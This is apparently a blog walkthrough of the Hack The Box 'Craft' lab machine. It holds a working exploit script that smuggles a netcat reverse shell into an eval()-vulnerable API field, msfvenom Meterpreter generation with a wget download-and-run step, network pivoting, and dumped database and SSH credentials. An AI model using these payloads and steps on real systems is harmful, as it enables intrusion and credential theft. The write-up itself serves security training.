All Computers Are Broken


Table of Contents

Craft

Posted on [2024-03-26 Tue]

nmap

nmap -vvv -sV -sC -p- -Pn -oA craft 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up, received user-set (0.077s latency).
Scanned at 2024-03-05 18:49:52 CET for 481s
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCscULO5kzW5659eWy5BdBJWCHxBSvqKIn6TZwEdp4NG3cLJc6aVQxEUknoSoMa2RAy2CFv/IWKbFIEY33XM2PRhKTuSJd/aNrMKs0jX40q/0zpmRv4/HzLdWE33t9on739xRWgsnNI0JOaGAwa4ryubOeKo53ykP9fTgLeHvT37GthWJIzfXNA7UFXJen3T4+4xmbxA2Low8D8xAGjqVLoEgKGVy05oL+zGucd0C5LyclT0Gkxm3NCk3MLdFdPOuaVX5jlX32yKUA//Go9fN9OlGffcHkLfgTA7s+PLememC14H/r8ZLYJYByeBj2MqR6ndkQ3+OkmSjeOBPEamkqz
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJAzk0wAfmy1zhnnnQOEoqLN0OK0zF9VwqqwIRkG58ARwaVlwSARRf3BS7Ywo2AfjZS9EWZycsXxy3/7MwEQS1U=
|   256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJsBTHLrhy1IfI4AeEWxjJBm9z6wm/F9mMPMUbpRt2+K
443/tcp  open  ssl/http syn-ack nginx 1.15.8
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: About
| tls-nextprotoneg:
|_  http/1.1
| tls-alpn:
|_  http/1.1
|_http-server-header: nginx/1.15.8
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Issuer: commonName=Craft CA/organizationName=Craft/stateOrProvinceName=New York/countryName=US/organizationalUnitName=Craft/emailAddress=admin@craft.htb/localityName=Buffalo
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-02-06T02:25:47
| Not valid after:  2020-06-20T02:25:47
| MD5:   0111:76e2:83c8:0f26:50e7:56e4:ce16:4766
| SHA-1: 2e11:62ef:4d2e:366f:196a:51f0:c5ca:b8ce:8592:3730
| -----BEGIN CERTIFICATE-----
| MIIEQDCCAigCCQC6e7PJjcRLnzANBgkqhkiG9w0BAQsFADCBhTELMAkGA1UEBhMC
| VVMxETAPBgNVBAgMCE5ldyBZb3JrMRAwDgYDVQQHDAdCdWZmYWxvMQ4wDAYDVQQK
| DAVDcmFmdDEOMAwGA1UECwwFQ3JhZnQxETAPBgNVBAMMCENyYWZ0IENBMR4wHAYJ
| KoZIhvcNAQkBFg9hZG1pbkBjcmFmdC5odGIwHhcNMTkwMjA2MDIyNTQ3WhcNMjAw
| NjIwMDIyNTQ3WjA+MQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxDjAMBgNVBAoM
| BUNyYWZ0MRIwEAYDVQQDDAljcmFmdC5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IB
| DwAwggEKAoIBAQDV6vf1Ki4fZhJeMOQBAUFx98hM70l6Hpu+4MlB4++i/u2fKRvV
| woGYPpz3KGuNKv+BvjR0+yGFM2HflIgZcc5yE//MGnb9F1fcjJ66rT3qBHjIfwls
| 6MRygl9NRVSa09PvrXUbULBr95V624TTPewiEy1yZgMP+ByQzm9Td0jdTQ8HDugq
| kmOmUDX34kDtZc5u7iFBicTXYBpnYVZNEVsUoT6QVZiez07E5L9d0XZ9+iLeVvaB
| XmeimEdbaR2iKKDTmmWaduH/YLUAEP+gS0STM2lKiXL3euL13f9z6i0KjI8Tymby
| Sb6zeznqWCYuJRHfEZnYj+B26jcXU2ZE0GwrAgMBAAEwDQYJKoZIhvcNAQELBQAD
| ggIBACEEpKD0fivZFNx7Q8/q81SNE8TbAQKyfOP98SXU6LAMPOIfAf27tG8C8xGF
| NCmQcggUwpuz2PB+t8vN91oRHdehkpDsVa7ZOKPQm+RQYH7WlMyO65bz5M2zxkbq
| m7Eesaeakdj2XR4ah7TbCeSU7Mu2ePdOLgHme8qI60XjvTrNJ7sB7i5vc5cs7Q9j
| AgOQhQFJddhFsViOcuICei+m8WDg2w4/Kmbu1lSHCCAm4HPA+H8+dZcHN3v3EtqQ
| IRwoph/Jl5h9yxZXDDrFyGMburGjWtIwvrDJmC3m5eDigliUM1OZEWOmDEzBKfUG
| dpNln6Mku8EI2qrVITepg9Szb/7lbd8OJsWo1g4s9BPi2NA/ZGk3z3no6AvGPo6d
| 74uNAzGaIBaPH9v2pyUsKbeNm/TY2GikZuOUVdSt/dXCEQ5I5TVxLBJYB9RmzA2+
| u5qS2hN6KOBNBWvYsvLTsAyq5VTzi6seRUk887S5oMoVzD4AxchcrwmBOKPaeyTS
| sUpN2F4Ea7TRPyQWN1IjVnIjkpRzN5mUwnKyyKovKyQaYE9HPM59PC8uTri59mIv
| Rtz++eBxJu/2FFDhI7AiOctOhzKTa7AN0JmTO1pp4OFY5uDl4yFk3t+1lMKhggMa
| UOpGWGGlST3o/VI2ebJq4nDewBf/LY3ZtJbNIKcXNpQQzB7/
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
6022/tcp open  ssh      syn-ack (protocol 2.0)
| ssh-hostkey:
|   2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU+fEcb0HbuFvUiMce89AuwclFwGQAJ/FSk+X/uPL+08lP9AzNCivAovV8Py3XEGfUhSDQeJ6Xw5aZCIZB7z/40IViSC1S1fe49lmv7TlDSFKEOZIDQIAuDP3giwyrdX0MnM5qrFtqs9lIH0D8MnGVCh3kcjG5Mh+Jb4/fcGkIpLSAyVc2Fm5PFFV0XIay5vv/SffCO1141JHFZj+Sal4t4MmlZiY1RTaAgGLsn1SshS2EYFv91rZqHmmNCk+GNVSU9txRQm3OrB+06QTsOWnYN71p6+hTe/TQjhaE53zM+/xZi7sPIq6l6evvNSMOOt9fgVQkvM2NuVutLiq6od2h
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.94SVN%I=7%D=3/5%Time=65E75CF9%P=x86_64-pc-linux-gnu%r(
SF:NULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar  5 18:57:53 2024 -- 1 IP address (1 host up) scanned in 482.32 seconds

The certificate reveals that the domain name could be craft.htb. Therefore, I set the corresponding record in the /etc/hosts file.

Once this is done, I proceed with analyzing the web server.

Web enumeration

2024-03-19_10-49-42_screenshot.png

Figure 1: start page

The web site suggests that there is an API. Furthermore, there is a link to a gogs-instance at https://gogs.craft.htb/.

Via the explore feature of gogs (https://gogs.craft.htb/explore/repos), it is possible to access the source code of the API at https://gogs.craft.htb/Craft/craft-api.

There is an issue in the repository (issue #2). It is about a missing check of the ABV value when a brew is added to the system. In the conversation about the issue, there is a link (https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6) pointing to a commit that adds an additional check of the ABV value. This fix introduces a command injection vulnerability.

2024-03-19_10-57-06_screenshot.png

Figure 2: fix that introduces the vulnerability

The fix adds a check to the file craft_api/api/brew/endpoints/brew.py in the class BrewCollection whether the ABV value is greater than 1. This check is done via a format string that is passed to the eval() function. Knowing this, it should be possible to gain command execution on the system via the abv request parameter.

There are credentials required to interact with the API. The credentials can be found at https://gogs.craft.htb/Craft/craft-api/compare/4fd8dbf8422cbf28f8ec96af54f16891dfdd7b95...10e3ba4f0a09c778d7cec673f28d410b73455a86 in the change overview for the file tests/test.py.

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

The file tests/test.py can be used as a skeleton for a exploit script. A slight modification of the script test.py results in the below exploit.

#!/usr/bin/env python

import requests
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f")'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Local Enumeration

Once I obtained a shell on the system, I see that it seems that I am within a container. I assume this because of the combination of the following indicators:

  • there are only a very few processes running on the system
  • I have a shell as the root user
  • there are no other users than system users
  • IP address matches the common range for docker networks
  • cgroups displayed when mount command is executed

Looking around the file system, I find a file containing settings for the API application.

/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

To identify other containers on the docker subnet, I used the following command.

for i in `seq 1 255`; do ping -c 1 172.20.0.$i | grep ttl | awk '{print $4}' ; done

This reveals the following IPs which respond the ICMP.

  • 172.20.0.1
  • 172.20.0.2
  • 172.20.0.3
  • 172.20.0.4
  • 172.20.0.5
  • 172.20.0.6
  • 172.20.0.7

To enumerate the open ports on these IP addresses, I use the below shell one-liner.

for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.3 $i 2>&1| grep -i open;done
/opt/app:  for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.1 $i 2>&1| grep -i open;done
172.20.0.1 (172.20.0.1:22) open
172.20.0.1 (172.20.0.1:80) open
172.20.0.1 (172.20.0.1:443) open

The container running at 172.20.0.1 seems to be web page that is shown when accessing http://craft.htb.

/opt/app:  for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.4 $i 2>&1| grep -i open;done
172.20.0.4 (172.20.0.4:3306) open
/opt/app:  for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.5 $i 2>&1| grep -i open;done
172.20.0.5 (172.20.0.5:22) open
172.20.0.5 (172.20.0.5:3000) open

The IP address 172.20.0.5 seems to be used for the gogs instance that is running on the server. This can be checked by accessing http://172.20.0.5:3000 via wget.

/opt/app: for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.7 $i 2>&1| grep -i open;done
172.20.0.7 (172.20.0.7:443) open

There are no open ports on 172.20.0.2, 172.20.0.3, 172.20.0.5, 172.20.0.6.

/opt/app # netstat -atn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:32919        0.0.0.0:*               LISTEN
tcp        0      0 172.20.0.6:54416        172.20.0.4:3306         ESTABLISHED
tcp        1      0 172.20.0.6:8888         172.20.0.7:44904        CLOSE_WAIT
tcp        1      0 172.20.0.6:8888         172.20.0.7:35932        CLOSE_WAIT
tcp        0      0 172.20.0.6:33215        10.10.16.2:443          CLOSE_WAIT
tcp        0      0 172.20.0.6:36641        10.10.16.2:443          CLOSE_WAIT
tcp        0      0 172.20.0.6:39173        10.10.16.2:9001         ESTABLISHED
tcp        0      0 172.20.0.6:44517        10.10.16.2:443          CLOSE_WAIT
tcp        1      0 172.20.0.6:8888         172.20.0.7:40170        CLOSE_WAIT
tcp        1      0 172.20.0.6:8888         172.20.0.7:48580        CLOSE_WAIT
tcp        1      0 172.20.0.6:8888         172.20.0.7:48506        CLOSE_WAIT
tcp        1      0 172.20.0.6:8888         172.20.0.7:50710        CLOSE_WAIT
tcp        1      0 172.20.0.6:8888         172.20.0.7:60198        CLOSE_WAIT
tcp        0   1086 172.20.0.6:43511        10.10.16.2:443          ESTABLISHED

Unfortunately, there is neither an SSH nor an MySQL client available in the container to which I have access via the reverse shell. However, I can use a Meterpreter session as a pivot to route traffic through it.

First, I have to create Meterpreter binary.

$ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=$(myip) LPORT=443 -f elf > foo
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068672 bytes
Final size of elf file: 1068672 bytes

Next, I have download it to the container I already have access to and make it executable.

/opt/app: wget http://10.10.16.2/foo
/opt/app: chmod +x foo

Now, I have to create a Meterpreter listener from within the msfconsole.

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.10.16.2
msf6 exploit(multi/handler) > options

Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.2       yes       The listen address (an interface may be specified)
   LPORT  443              yes       The listen port
[...]
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

Once the listener is running, the Meterpreter shell can be executed.

/opt/app: ./foo&

Now that the session is established, autorouting must be configured from within the msfconsole.

msf6 exploit(multi/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set netmask 255.255.0.0
netmask => 255.255.0.0
msf6 post(multi/manage/autoroute) > set subnet 172.20.0.0
subnet => 172.20.0.0
msf6 post(multi/manage/autoroute) > options

Module options (post/multi/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
   NETMASK  255.255.0.0      no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
   SESSION                   yes       The session to run this module on
   SUBNET   172.20.0.0       no        Subnet (IPv4, for example, 10.10.10.0)


View the full module info with the info, or info -d command.

msf6 post(multi/manage/autoroute) > set session 1
session => 1
msf6 post(multi/manage/autoroute) > run

[*] Running module against 172.20.0.6
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.20.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

To make the tunnel accessible to other applications, I configure the metasploit socks module. This will setup a socks proxy that can be used via proxychains.

msf6 auxiliary(scanner/ssh/ssh_login) > use server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server

Now, I can use the socks proxy to connect to the IP addresses discovered previously. As I have credentials for the database, I start with a connection to the database.

$ proxychains -q mysql -h 172.20.0.4 -u craft -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 8.0.15 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| craft              |
| information_schema |
+--------------------+
2 rows in set (0.093 sec)

Enumerating the database, gives me some additional users and their passwords.

MySQL [(none)]> use craft;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [craft]> show tables;
+-----------------+
| Tables_in_craft |
+-----------------+
| brew            |
| user            |
+-----------------+
2 rows in set (0.075 sec)

MySQL [craft]> select * from user;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
|  1 | dinesh   | 4aUh0A8PbVJxgd |
|  4 | ebachman | llJ77D8QFkLPQB |
|  5 | gilfoyle | ZEU3N8WNM2rh4T |
+----+----------+----------------+
3 rows in set (0.081 sec)

gilfoyle’s credentials can be used to login to the gogs instance. This reveals an additional repository named craft-infra. Investigating the repository reveals an SSH private key which can be downloaded. Additionally, there seems to be a Hashicorp Vault instance running in a container on port 8200 (see https://gogs.craft.htb/gilfoyle/craft-infra/src/master/nginx/nginx.conf). The nginx reverse proxy will route all requests to vault.craft.htb to this container.

After setting the respective entry in the /etc/hosts file, it is possible to access the vault instance.

I already identified that on 172.20.0.1 a SSH server is running. Therefore, I try to access this address with the recently retrieved SSH private key. It is required to have the Metasploit autorouting and the socks proxy running for this to work.

When accessing the new target, I have to provide a password for the SSH key. Luckily, the recently obtained password for gilfoyle works.

$ proxychains -q ssh -i gilfoyle_id_rsa gilfoyle@172.20.0.1


.   *   ..  . *  *
*  * @()Ooc()*   o  .
(Q@*0CG*O()  ___
 |\_________/|/ _ \
 |  |  |  |  | / | |
 |  |  |  |  | | | |
 |  |  |  |  | | | |
 |  |  |  |  | | | |
 |  |  |  |  | | | |
 |  |  |  |  | \_| |
 |  |  |  |  |\___/
 |\_|__|__|_/|
 \_________/



 Enter passphrase for key 'gilfoyle_id_rsa':
 Linux craft.htb 6.1.0-12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.52-1 (2023-09-07) x86_64

 The programs included with the Debian GNU/Linux system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.

 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 permitted by applicable law.
 Last login: Thu Nov 16 08:03:39 2023 from 10.10.14.23
 gilfoyle@craft:~$

Now, I can retrieve the user flag from the system.

Privilege escalation

The Hashicorp vault client is installed on the target and the environment variable VAULT_ADDR are set.

gilfoyle@craft:~$ vault
Usage: vault <command> [args]

Common commands:
    read        Read data and retrieves secrets
    write       Write data, configuration, and secrets
    delete      Delete secrets and configuration
    list        List data or secrets
    login       Authenticate locally
    agent       Start a Vault agent
    server      Start a Vault server
    status      Print seal and HA status
    unwrap      Unwrap a wrapped secret

Other commands:
    audit          Interact with audit devices
    auth           Interact with auth methods
    kv             Interact with Vaults Key-Value storage
    lease          Interact with leases
    namespace      Interact with namespaces
    operator       Perform operator-specific tasks
    path-help      Retrieve API help for paths
    plugin         Interact with Vault plugins and catalog
    policy         Interact with policies
    secrets        Interact with secrets engines
    ssh            Initiate an SSH session
    token          Interact with tokens

gilfoyle@craft:~$ env
SSH_CONNECTION=172.20.0.6 34484 172.20.0.1 22
LANG=en_US.UTF-8
XDG_SESSION_ID=380
USER=gilfoyle
PWD=/home/gilfoyle
HOME=/home/gilfoyle
SSH_CLIENT=172.20.0.6 34484 22
SSH_TTY=/dev/pts/0
MAIL=/var/mail/gilfoyle
TERM=xterm-256color
SHELL=/bin/bash
VAULT_ADDR=https://vault.craft.htb:8200/
SHLVL=1
LOGNAME=gilfoyle
XDG_RUNTIME_DIR=/run/user/1001
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
_=/usr/bin/env

The vault configuration that I found in the git repo indicates that the privilege escalation vector is via the vault.

#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
      key_type=otp \
      default_user=root \
      cidr_list=0.0.0.0/0

It is possible to retrieve the OTP which gives access to the root account via the following command.

gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key                Value
---                -----
lease_id           ssh/creds/root_otp/98ad84b2-479b-e422-147c-b174bd4d7ac2
lease_duration     768h
lease_renewable    false
ip                 127.0.0.1
key                3e38d5aa-ef23-4c51-291f-bdce02eb17f6
key_type           otp
port               22
username           root

Now it is possible to login as root. The key can be used as password. Onced logged in, the root flag can be obtained.

gilfoyle@craft:~$ ssh root@127.0.0.1
ImprintPrivacy Policy